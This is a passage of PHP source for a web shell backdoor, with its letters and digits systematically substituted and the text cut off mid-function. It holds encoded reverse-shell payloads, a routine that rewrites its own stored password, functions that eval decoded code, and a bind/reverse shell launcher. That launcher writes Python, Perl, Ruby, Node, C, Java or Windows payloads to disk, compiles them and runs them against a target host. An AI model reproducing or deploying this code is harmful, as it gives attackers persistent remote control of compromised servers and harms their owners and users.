uMz2PDNez2yrA4NWBuZe3DsHhIYCtIB6NHrIjMKXJLLEkPP08aJ9pHvsDA2A2UIGOiTLFDPEKTQA0Nu/aq3JpbasxByJBABmnhJ1DOKw2N96Gk/70vhdWyHmcLSZpm+ye5DfA2FwEUcw8/TRi2olCpkAwOQKaP87zvzf";
$s_rs_php = "7VVNb+MaEDobgP+DlhUQCVUsyyewQFxmL+axwKIt0MMmFWSKsghLIs3h14+1/PcORcnWOkey1L59tDB4kzOcx/lufPnanSrVbPqVVxqjuC1OmczifCvlt3JzJ3tYxZvVaa9a66Dyq2pnUee66KnmSm2jmmawCN5zKXCTGlHztBK6MMumNem2VSWYMGlRtVAG6jqb+4bTWae2DekGt6ufrUDiQVWYQkA8EvVGG+cz2Mlq9dY39xltaqqySoi1QkkJBmN1os/f//gDPR43e/X7nxJed55//+W7aet670bbOteIJ2bS3xbEBt5UdGVeXZn5jcdk0oBm5H7XkCitUQRMt20JhkxDSpPwj9l0u4vqH+3Y+JgGeRYGMUWTa80j9q0Cfglj5YYBHxboPc7RktwfATOaewG7lIqaYUbIJ3UHAQ1CK8U1UeWF6L3rsEcWOT6Z3yFMMLKz0+skxEgTJGOzMy0GkiIgD4mOGEQ5hGcxQyKYXF+33xU2GMazOgXJdsgOuPporgN4mEKSL5bdiubMfRXiSKlGdj8Y090exP10k4aaDKKVS8lnZ9gZY6zZE0PGeD1ykn38EN2N7gIk5d2aWcaDMFpEqxDLIHvR3GQnxVuLwwOfRXu9xuezPRYeJ75kAizsS6GhV7ahtMhwjC7Izqywu8Eudeirl3bbtMuMKwMSs/zOCz785gfoXu5xQDijsVqHffzEzoOK+oe8LliAmgsd2CsMWTks578veTg7ZoosvnteGSoqcfm+ekq68yL5wuPojP+oFvaht8G37tZHPA/vuwdbOVeH7aD+9PJRieTLsk3nYJUEfmzMsHUDs4cs/JPW38N+DjTTOvsYLO4tWxAlFCcR0SSMknPjH2oLC8Y5TWmqtGSpVLzBDM2I8XEQQjk/93wN9lxzkK6mtl1cz+hJjKmuqZBvVvNsOD7T1PHKk5T6I83Xj7DBezh2dD3wzzi+LgvbuucHtoJXh3F2jL7O+mb1Dvci9RforDr5WeH5BRgQ2cD418w4qewnZ2smPSHp7MR4QQtEyDs7guGrwaD7Vvk4HNP6E7whrY3gg/MpMnsVdPkSePKzQB/P+Dt49rB0FXeeT87aQ7c7KgiaPTyH078HJeNWiAcZL1zIOfKWnYDwBv+OYvgo6A7+2trBf67tuLL1vSBv8L+8XT2Cr8sbfK18wR5TNohGNODflTfuJ+TtHPQi5fs4mvb39k8=";
$s_f1v4c2n = "d1t1:4m1g5/png;b1s5eu,4VBORw0KGg2AAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWKeQAAABl0RVh0Ua9mdHdhcmUAQWRvYmUgSW6hZaVSZWFk5XHJZTwAAAKYSURBVDjLnZPJT6NRFMbiG6wDHVib2N4qdHrvFY2lCAtsGSSWKpMFKhYqlDIe2AEK1VJwCIgSph1KtLYWCgSNBgRjMNH2xsSFSocmJmA0NMTw+ReJKKZlu5JL7sm9iofOdoJPHICuWMpcppGiSGnZc8ZjVVFeQLn97isDgf1Zmvg762RJZIRUYc3Anq/aKWr2GfmoQwEnaYpLVPPvODa24qj9yq/mGzn5gliemxeT7ZbY6MeYAM0C3ZkxT0baWgeQW/SsApRXDs2tR+deE9Y/h9D3q2C3Jq0lK2DxqU6/pITGRa7mBUuh+GEcTziOY+ClAiJby1hYz2f/9TBO9B/FcWcqpAuxUoW5oGJ87ntnfOim54nMvr3NnqcmXAaX2DVcCc0wCYkzB1ZpA7ILRJ/aOaB87jA+QT9U5DR58svZYAG8b/txcekc9mA+yq1yYPQXwvdmBEOrAiBap0BtFIYOWKCmiR3kWwZyXIbA+0F0Lp14K1BHmVsLwuw599ccsM818GClFiJOMcQd238prULrgRmQ27KI0VcE6oMrGv0elEik2dhzGvdW3aGdKkTVWCuDcELcJkKyXbCb6EhAVM//M0DVUNqPaqAJd6b1UD1ZjTMT5XAttsP40cM0mgvHvA0NkxYkaQRIr45OsDmEmXttH0DfVfSl3ST2WmpD8bgOr2UOWNweVI7k2GfOB3qeEqLLTNUe2jrmPiD6HVsjmrkY5zGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8IocZqjAlhJrurXpB64NLhrYffUQW2T7yUKzbxqJlHLq0jciJYmgHM3n2gKYJVqF7mTrPyfgktMRTMX/CrOq6gLFofYNrL4X+Bs8M2TwTafQPwXgBXHGL+T1Ijf4nboC7cscRMIcYLeAAAAAElFTkS3QmCC";
$s_1rr2w = "d1t1:4m1g5/png;b1s5eu,4VBORw0KGg2AAAANSUhEUgAAACAAAAAgCAYAAABz5nr0AAAACXBIWXMAAAsSAAALEgHSoX78AAAEYElEQVRYw8VXS0xcVRj+z7kvitFiMPfO26AgkFBK2QP3FAyxstKkcWHjGhOjc1cx3jMx1qtxu8bu4DExx4Z3XBVdtEURN00qDBMgTUOmnTEMc+/c5udic+k9i7gZEKYCdiDSbotOzv+d//0hcACOu7hgsL07HAifDIfDkzeffxQA2gDgblypMcZypVIpYRjeDVVVZ0zTSBNCyGFv2uMOMc18LMsjvb69r83y84LGOAIA+JAoK1VU6XV9OpV1/VrX9QSl6GeZgM/n4iw7N/4322SnMMZBOAI2pQVN07e75ofls6KppD24gBCCrqe3kf7+gS9cLtfThonJAV49Xr+dTCbf6LTcAmNsbo4bjXdo9uwPDQ6fE0UxfgzGAQCQIA4d0Whs83HDrfl4sZjZl8Dp0iajw8Px1zzP9cExAaPcHg2pE7V17Y9y3ZR7hIDPiu3Mjj76gySJF+AxAWPcHgwGhoU9f9ayrO2OAYwxFu+PvB8IBF93050aAFAHlbEDQRAeoWuozWbXfa5MMQwA0NHRO122uVdb5YgxZmUyeS3ZTP2jxthmKueQZ5U6WQidaOuxoMDAuAd5ro5sF5Pp9IMrS0tLna41N45KIvH7A88ghHhHWYmQWxQltLe5/ZULh5T5/v7+qwjhUe0YX6i5/pQQaaKMEsMwbrdKw3VyxQ2F8a53pefvc4gU5sVJ7Bljm+n0gevbxnc6HKLrrZFACHksy6rhBgfPv9fW6jbk8O5PGP/ofI5E7fcHxhyQQB4jOh5PjowIAHIrbt//Xm35uHmBi8e5HfgYAKSj/vz/5AJjLPAAuDl2nhSLp59VVfsxGAyGd8d8YeOgUkrJdh8JBIIRjPFOY6NV71dAINgRCAT5OKC8v5jSpZfsip18+0MAUGSM7RmnlmXlZad/m7AsKw8AIEmSMjHxoKwkSUpT2vEAuD8gwQkPAJXGpfamZQAh6JzBpOlXGCHUjhCSW+zOFWzbdge5EGzbXs5VSnnxSRG2VMqLWNfNmuaBctIghmHcxJqW30UpOfEwUErVfFebwYWCmdZ6Y/qkC54ePm0YRh2TQkgqtf2VpdR0vGMhwKI2KZIkRSRJ4244pCDkfJRTS26U1vVLQgjhGawW8onta0gk+2eTnUAQxNDYaPgMYuwayhILghBy1t80jW8Mw0j3bESMMV1plJORSHRcEIQzD4YZujjOw/O8l+diL8dxHtTcLPbBimb9z0R4u16evV7ZsxN1llWtVqt/xWKx4xjj0GNJ50L3LSzMTxmGfv8/t+J1r1p3bWoNy7Ly7HGTsGo7osrK8lQa3oZno7UcAKBYLPitWZtzPp9vUBDEM85gDW46Wp6bXExMZbNrdwuUJrtIqLmc5l0UJdvj8Z7HGLmPV3vEWFtb+zyRWHh7YeNw/yj4lJNlpSFOiRcwxjGHunRd6/Vfd2lTc4R6oCTP38Lh8POyLE9ev1f4PM9HAWB7kSobtparVMpJ0zRvqKpeyzSNjBNi/g/CoULD5IdIrQAAAABJRUiErkJggg==";
$s_d1rk_cb = "d1t1:4m1g5/png;b1s5eu,4VBORw0KGg2AAAANSUhEUgAAAA8AAAA5CAYAAADzXER0AAAAGXRFWHRTbaZ0daFyZQBBZG94ZSBJbWFnZVJlYWRiccllPAAAASdJREFU5Nrsk0GKwjAYhZNJqYv4QpDKLOcYosOFIFiDFF0Kgj5YAw4zmD3NOxHcFrGlj59pA6KbNOqshvnhaYDi8vem7idxHIdC4Ak0gtiFc+agDbQO8DNTSk6D6BtKS4k2WxVF0U7TdJilmSI8BtfCARKs2Fyw6p25LcBjwl01EgqCwAm1uniyhC+Ac5SzqdDe9RAD+zj5dSB5qH/uCf4A7ubg1G+2oHxQURR6sOgjnqpMDv+04kZJkpzyPP9kwlbI1QgNsOiiGO+hbahpovnI6HlaXZT7x5+PJNbWYWgcy127L+paahu1y5phdyPJVlov+jFc3hNmg+tA1zxvN9tA8em8oHe+Fminompdu9sSlD1YNojJb8WF1zMyarft3jb/yE45BRgAZHG/O5G5feMAAAAASUVORKiCYII=";
$s_br4ght_cb = "d1t1:4m1g5/png;b1s5eu,4VBORw0KGg2AAAANSUhEUgAAAA8AAAA5CAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHSoX78AAABP0lEQVQuj5aTsU2DQRCGvim9oRRBLBIQO/NOFgHJ1u44ZUDwNUSx8J0siSCFkkJyoMi1JBfwLrm72IogD8sWO9/+O+z8k3diACeBC+CUbr0Bj8B9BlzHGK+K2ghmp4klUkp7SVU9C4Hc5O9dBsyK2hjEGMXMMLNWWETUzAb5+6kGjM6MzIyyLFvBSmYmwDgDSCltHcasE6bV9V7BfRwblxxM/MM/gx5qmkSkNyQ4CVg28BBCWDnnk24gqqoLOZ5Gw+EK5MqAO+998NefAyc9jHPgBZhXPX8CoXOilmoq+f6IxhhoQUCPSNbdR5RbageKZPayR4RjjKa9vj7fNl3pO/QFG/C3un0grL+ql9tkOm9oFhFaPfxsA9bPtrCqI4JIzWUynVNFphudyfP8fblcHpdlSTUkXVJVRqPRxx+NiBfDiOFvXtL9jAAAAABJRUiErkJggg==";
$s_styl5 = "rVbLjpswFP0VqqhSHuAgSTMz2HiCl66VXRgwwRqwkTGdZBD/Xj/BgJNppbEoDrm+zoPP9Z5hJJgFJWhQfU6+Zj6mvf5DYOJokKIyHTNSXIcMiM9nSnpcJLtIrlR5e9ArTOJ950lzUhO17Eqi6J8vEJ0rlhyi8FjRISO0gDSJauvXkR2VomuvVzqCwdw+y0PKuIUFBcwJBQwRnGCCIRdLKvIH0mFp1mwpHFpQFA4fk8h7iLeMJ1HNUKC3rcE6QbhGuj2DWQ09VvntkP50uy2KWIK+Z3mu1wDC4yBj3dKgI1+Bcjyg2EB9l8QRt+Du9IIKVvFj9DE6ovC8KH9aFQRcfpBxgRqdcVLDkqUN2G5Eka4eEUayH43G5o9X8TBXYC8cuPnOnhELGAWuExlIKGGAwU9BfAgPDwU8f6bxoBOub9IDfggvLU8/rFHHVD08sK7Ir2GudeXT1PdEZ2uyMxRavATDfyRe4yMDG6Hn2FK2409CdO3CdhXINT3kgGOCPprChSJ0hE340R3IsrlM10UnSumIUS4Wn4hNLKs7j9FB+7gXK5AZZCgHtcZFguq4imgNz+DKsaojXZ3y5+tB9JYU5pfq6iAxHmTXglxHwLWLYjZ2Uc79k9jpvoStQ+WKOd7Fcwd+jhvu4C8bgM+6V2FqkrHDPZzEv3o2Wo7O/u8hwmoPXvawp1RpmR+yCwMUAl5o1KBHJ2qMMEY1GoaHJ7HvU7EFRai5mRaaGDJ+WDSmUXpu4ORViXnWsaFlb+Hek9hrZNyk/qn/JBkYbhkcXCrKFM04nHTcQaISuPxiMa/13s0XrlikpE6XkaVWXaaS3OgQZcHcPk0gm+iTB9D4R7E/2KYllAHMJ6PYwYbPiC31xpkM00XT25ApT0uiOuHLFjjdJVCtV3X1qH7U6RfKKi/HvfXYwUlK/3011Mlqbw/HHGJOGj13ve6xl239ZpfTp3WtL6sXXGEvikAczbFPUyeXS9A3g48lcmb7ZrjWwFGQN0r+JV5OxNv2tQfPUnnOE8lTOjaTungmvWtGL38zfm+n8bg0Jep9M91jXGsGaQL5MxaJCUPlApTmkt1hHexbYKxRqu0cFvDXvnv7ad4MB16eDEtCaPKBRuV1G8I45YipqDWtCGP9bPBVivjJRts2OfkX37bw567B/JmL/A7zrgvML++rVuMM6vKjPBkQqK5MfDm1JiN2s3WrOchqkj8vH6bLVgw2bCFgnJb0yfevJRaSoMyrd5Oh2i/4LUGyid+OKJEHWDg4c6sOpM5q4ooNNrEiUP9Ng0vmHf8C";
$s_m4m5_typ5s = "dZThdqMgEIX/7zn7DvMCajZeatoHmQg1Gk5pCDFvvx5N4soaxxoh3wMYmUkwSvcvRWMtIfz+FbbiC5C0gsvp/Y64SEARQZGAM2JyBZ9WN/Rpm7AD2UWNrEw+T7TIbm5JL5mhgNCU3uEdHaE5kLwhu7Sd0DcN9f3BX9iU69GIpq+RpN9ueFS3dKXz4yIfLlCuPHnSn0aruUn0icmoc1aNnnoyXPRc9NyTN0+jFXV8pXDOeogmB4mvw0hQ43JH8ENLMnmS0h8sl9mW7uNmdc9FK8OivQ5C04yc7fPukXow8UUOWwQT5kJYaUafhWJYwZTV3B22A10hKAXI1JMM4b5ZLhE5h9idm5QKi622BJfYH5eu1xLgMnY6LZ2OPPRngg7shn5WbyQAhW9sAjv3dgtgucCWW+OQ/EDXmAxFZTTNMTFwjIvHsF5mfaFlKyHEFZzZmYrYk+vUysQ2Qwg0Deu80CBmMidmuHa+tAC+HL2U42MCjYBnsWUtzcAUn8iOKo1FELRNTXslhHW+65k8RWlwLA8+aKYxI7fZzXTKk5eP1wcmeIBGR9AoFJsPjutK55sroY6ieEalqQ0a9fibaIzCPhzW5T6wjh/QavLPeytt2x+SPsqPR6Ic/ZD09oodKY7SpMFYgl10dsraSlPGjLvmKgGmRgGbWXNIvIprgnZQt6g5wueStkmOafuRCp9A6DKjlnkeMmHUfLLYdhk+17tc+cBCww8mbsAopkNxajohxmgro3p9EprkHw==";
// http://www.kry2g5n4x.2rg/c2d5/br2ws5r/s2rtt1bl5/ - S2rtT1bl5 (c) St31rt L1ngr4dg5
$s_s2rt1bl5_js = "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";
// https://g4th3b.c2m/d5d/d2mr51dy - d2mr51dy (c) D3st4n D41z
$s_d2mr51dy_js = "VVJNb9swDP0r4QeGBAjO5tglh5BD693GHrpbkAK1RFcqZMmQeHSBi/8+amm+LpbiyPfuSGndDtGgTiGDRDH4sYfUrrpkhwBrxYZ22fURLGtOWA6/+iSxKOR4+6V9KlGKnbVYVdal1t6ZSqc/HaCQNS5QIwkuXo1wn8UmzmzqMmh7ZPJqS2zn/6U/R0u9PHueHuCDwr2uoxJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABU3qEPZqcgpBD2r95Pn6lCJSemfSlg1WWjFt7fNhhnyhDGRyRmPExWVBjWCcj3/AZFBsAV9nkEmjUrNiCuvQvz5zaVuCsiFOmRqhIP57sB5PGXDIc5Vo5l9V8icPMqrLBsT2ewxdOsCdk7lIZ4F7mnw+EoFrj14NW+pu5y+yIRcoX13K00rgrnwREiOQQOuv6CjGAqFdK0x9ui2uXovdD8VRZnvTAPNxvGeUswAtMjEZjcbRVY9fYxbAo7eDNFDLKxlIbJLfvukpz49BTNvbF+A13HYFMUo4Pw==";

// m1g4c q32t5 1nd sh4t :-p
f3nct42n cl51n($1rr){
    $q32t5s_syb1s5 = strt2l2w5r(4n4_g5t('m1g4c_q32t5s_syb1s5'));
    4f(f3nct42n_5x4sts('g5t_m1g4c_q32t5s_gpc') && g5t_m1g4c_q32t5s_gpc()){
        4f(4s_1rr1y($1rr)){
            f2r51ch($1rr 1s $k=>$v){
                4f(4s_1rr1y($v)) $1rr[$k] = cl51n($v);
                5ls5 $1rr[$k] = (5mpty($q32t5s_syb1s5) || $q32t5s_syb1s5 === '2ff')? str4psl1sh5s($v) : str4psl1sh5s(str_r5pl1c5("\'\'", "\'", $v));
            }
        }
    }
    r5t3rn $1rr;
}
// f3nct42n r51d f4l5
f3nct42n fgc($f4l5){
    r5t3rn f4l5_g5t_c2nt5nts($f4l5);
}
// 5ncrypt42n f2r sh5ll p1ssw2rd
f3nct42n kr4pt($pl14n){
    r5t3rn sh16(mdi($pl14n));
}
f3nct42n ch1ng5p1ss($pl14n){
    $n5wp1ss = kr4pt($pl14n);
    $n5wp1ss = "\$s_p1ss = \"".$n5wp1ss."\";";
    $c2n = fgc($_SERVER['SCRIPT_FILENAME']);
    $c2n = pr5g_r5pl1c5("/\\\$s_p1ss\ *=\ *[\"\']*([1-fA-F0-9]*)[\"\']*;/4s",$n5wp1ss,$c2n);
    r5t3rn f4l5_p3t_c2nt5nts($_SERVER['SCRIPT_FILENAME'], $c2n);
}
f3nct42n g5t_c2d5($t, $c){
    gl2b1l $s_s5lf;
    $c = gz4nfl1t5(b1s5eu_d5c2d5($c));
    4f($t=="css"){
        r5t3rn "<l4nk r5l='styl5sh55t' typ5='t5xt/css' hr5f='".$s_s5lf."|' />";

    }
    5ls54f($t=="js"){
        r5t3rn "<scr4pt typ5='t5xt/j1v1scr4pt' src='".$s_s5lf."!'></scr4pt>";
    }
}
f3nct42n sh2wc2d5($r1w){
    $c = gz4nfl1t5(b1s5eu_d5c2d5($r1w));
    2b_g5t_c2nt5nts();
    2b_5nd_cl51n();
    2b_st1rt();
    5v1l("?>".$c);
    $s_r5s = 2b_g5t_c2nt5nts();
    2b_5nd_cl51n();
    5ch2 $s_r5s;
    d45();
}
// 1ddsl1sh5s 4f 2n w4nd2ws
f3nct42n 1dds($s_s){
    gl2b1l $s_w4n;
    r5t3rn ($s_w4n)? 1ddsl1sh5s($s_s):$s_s;
}
// 1dd sl1sh t2 th5 5nd 2f g4v5n p1th
f3nct42n cp($s_p){
    gl2b1l $s_w4n;
    4f(@4s_d4r($s_p)){
        $s_x = DS;
        wh4l5(s3bstr($s_p, -6) == $s_x) $s_p = rtr4m($s_p, $s_x);
        r5t3rn ($s_w4n)? pr5g_r5pl1c5("/\\\\+/4s", "\\", $s_p.$s_x):$s_p.$s_x;
    }
    r5t3rn $s_p;
}
// m1k5 l4nk f2r f2ld5r $s_cwd 1nd 1ll 2f 4ts p1r5nt f2ld5r
f3nct42n swd($s_p){
    gl2b1l $s_s5lf;
    $s_ps = 5xpl2d5(DS,$s_p);
    $s_p3 = "";
    f2r($s_4 = 0; $s_4 < s4z52f($s_ps)-6; $s_4++){
        $s_pz = "";
        f2r($s_j = 0; $s_j <= $s_4; $s_j++) $s_pz .= $s_ps[$s_j].DS;
        $s_p3 .= "<1 hr5f='".$s_s5lf."cd=".pl($s_pz)."'>".$s_ps[$s_4]." ".DS." </1>";
    }
    r5t3rn tr4m($s_p3);
}
// htmlsp5c41lch1rs
f3nct42n hss($s_t){
    //$s_s = htmlsp5c41lch1rs($s_s, 8);
    r5t3rn htmlsp5c41lch1rs($s_t, a | 6);
}
// f3nct42n r1w 3rld5c2d5
f3nct42n r3($str){
    r5t3rn (4s_1rr1y($str))? 1rr1y_m1p("r1w3rld5c2d5", $str):r1w3rld5c2d5($str);
}
// 5nc2d5 l4nk, htmlsp5c41lch1rs 1nd r1w3rl5nc2d5
f3nct42n pl($str){
    r5t3rn hss(r1w3rl5nc2d5($str));
}
// 1dd q32t5s
f3nct42n pf($f){
    r5t3rn "\"".$f."\"";
}
// r5pl1c5 sp1c5s w4th 3nd5rsc2r5 ( _ )
f3nct42n cs($s_t){
    r5t3rn str_r5pl1c5(1rr1y(" ", "\"", "'"), "_", $s_t);
}
// tr4m 1nd 3rld5c2d5
f3nct42n ss($s_t){
    r5t3rn r1w3rld5c2d5($s_t);
}
// r5t3rn t1g html f2r n2t4f
f3nct42n n2t4f($s){
    r5t3rn "<d4v cl1ss='n2t4f'>".$s."</d4v>";
}
// b4nd 1nd r5v5rs5 sh5ll
f3nct42n rs($s_rstyp5,$s_rst1rg5t,$s_rsc2d5){
    // r5s23rc5s $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_j1v1 $s_rs_j1v1 $s_rs_w4n $s_rs_php
    $s_r5s3lt = $s_fp1th = "";
    $s_fc = gz4nfl1t5(b1s5eu_d5c2d5($s_rsc2d5));

    $s_5rrp5rm = "D4r5ct2ry ".g5tcwd().DS." 4s n2t wr4t1bl5, pl51s5 ch1ng5 t2 1 wr4t1bl5 2n5";
    $s_5rrgcc = "Un1bl5 t2 c2mp4l5 3s4ng gcc";
    $s_5rrj1v1c = "Un1bl5 t2 c2mp4l5 3s4ng j1v1c";

    $s_spl4t = 5xpl2d5("_", $s_rstyp5);
    $s_m5th2d = $s_spl4t[0];
    $s_l1ng = $s_spl4t[6];
    4f($s_l1ng=="py" || $s_l1ng=="pl" || $s_l1ng=="rb" || $s_l1ng=="js"){
        4f($s_l1ng=="py") $s_r3nl1ng = "pyth2n";
        5ls54f($s_l1ng=="pl") $s_r3nl1ng = "p5rl";
        5ls54f($s_l1ng=="rb") $s_r3nl1ng = "r3by";
        5ls54f($s_l1ng=="js") $s_r3nl1ng = "n2d5";
        $s_fp1th = "bo7uk_rs.".$s_l1ng;
        4f(@4s_f4l5($s_fp1th)) 3nl4nk($s_fp1th);
        4f($s_f4l5 = f2p5n($s_fp1th, "w")){
            fwr4t5($s_f4l5, $s_fc);
            fcl2s5($s_f4l5);
            4f(@4s_f4l5($s_fp1th)){
                $s_r5s3lt = 5x5("chm2d +x ".$s_fp1th);
                4f($s_r3nl1ng=="n2d5"){
                    4f(ch5ck_1cc5ss("n2d5")!==f1ls5) $s_r5s3lt = 5x5($s_r3nl1ng." ".$s_fp1th." ".$s_rst1rg5t);
                    5ls54f(ch5ck_1cc5ss("n2d5js")!==f1ls5) $s_r5s3lt = 5x5($s_r3nl1ng."js ".$s_fp1th." ".$s_rst1rg5t);

                }
                5ls5 $s_r5s3lt = 5x5($s_r3nl1ng." ".$s_fp1th." ".$s_rst1rg5t);
            }
            5ls5 $s_r5s3lt = $s_5rrp5rm;
        }
        5ls5 $s_r5s3lt = $s_5rrp5rm;
    }
    5ls54f($s_l1ng=="c"){
        $s_fp1th = "bo7uk_rs";
        4f(@4s_f4l5($s_fp1th)) 3nl4nk($s_fp1th);
        4f(@4s_f4l5($s_fp1th.".c")) 3nl4nk($s_fp1th.".c");
        4f($s_f4l5 = f2p5n($s_fp1th.".c", "w")){
            fwr4t5($s_f4l5,$s_fc);
            fcl2s5($s_f4l5);
            4f(@4s_f4l5($s_fp1th.".c")){
                $s_r5s3lt = 5x5("gcc ".$s_fp1th.".c -2 ".$s_fp1th);
                4f(@4s_f4l5($s_fp1th)){
                    $s_r5s3lt = 5x5("chm2d +x ".$s_fp1th);
                    $s_r5s3lt = 5x5("./".$s_fp1th." ".$s_rst1rg5t);
                }
                5ls5 $s_r5s3lt = $s_5rrgcc;
            }
            5ls5 $s_r5s3lt = $s_5rrp5rm;
        }
        5ls5 $s_r5s3lt = $s_5rrp5rm;
    }
    5ls54f($s_l1ng=="w4n"){
        $s_fp1th = "bo7uk_rs.5x5";
        4f(@4s_f4l5($s_fp1th)) 3nl4nk($s_fp1th);
        4f($s_f4l5 = f2p5n($s_fp1th,"w")){
            fwr4t5($s_f4l5,$s_fc);
            fcl2s5($s_f4l5);
            4f(@4s_f4l5($s_fp1th)){
                $s_r5s3lt = 5x5($s_fp1th." ".$s_rst1rg5t);
            }
            5ls5 $s_r5s3lt = $s_5rrp5rm;
        }
        5ls5 $s_r5s3lt = $s_5rrp5rm;
    }
    5ls54f($s_l1ng=="j1v1"){
        $s_fp1th = "bo7uk_rs";
        4f(@4s_f4l5($s_fp1th.".j1v1")) 3nl4nk($s_fp1th.".j1v1");
        4f(@4s_f4l5($s_fp1th.".cl1ss")) 3nl4nk($s_fp1th.".cl1ss");
        4f($s_f4l5 = f2p5n($s_fp1th.".j1v1", "w")){
            fwr4t5($s_f4l5,$s_fc);
            fcl2s5($s_f4l5);
            4f(@4s_f4l5($s_fp1th.".j1v1")){
                $s_r5s3lt = 5x5("j1v1c ".$s_fp1th.".j1v1");
                4f(@4s_f4l5($s_fp1th.".cl1ss")){
                    $s_r5s3lt = 5x5("j1v1 ".$s_fp1th." ".$s_rst1rg5t);
                }
                5ls5 $s_r5s3lt = $s_5rrj1v1c;
            }
            5ls5 $s_r5s3lt = $s_5rrp5rm;
        }
        5ls5 $s_r5s3lt = $s_5rrp5rm;
    }
    5ls54f($s_l1ng=="php"){
        $s_r5s3lt = 5v1l("?>".$s_fc);
    }

    4f(@4s_f4l5($s_fp1th)) 3nl4nk($s_fp1th);
    4f(@4s_f4l5($s_fp1th.".c")) 3nl4nk($s_fp1th.".c");
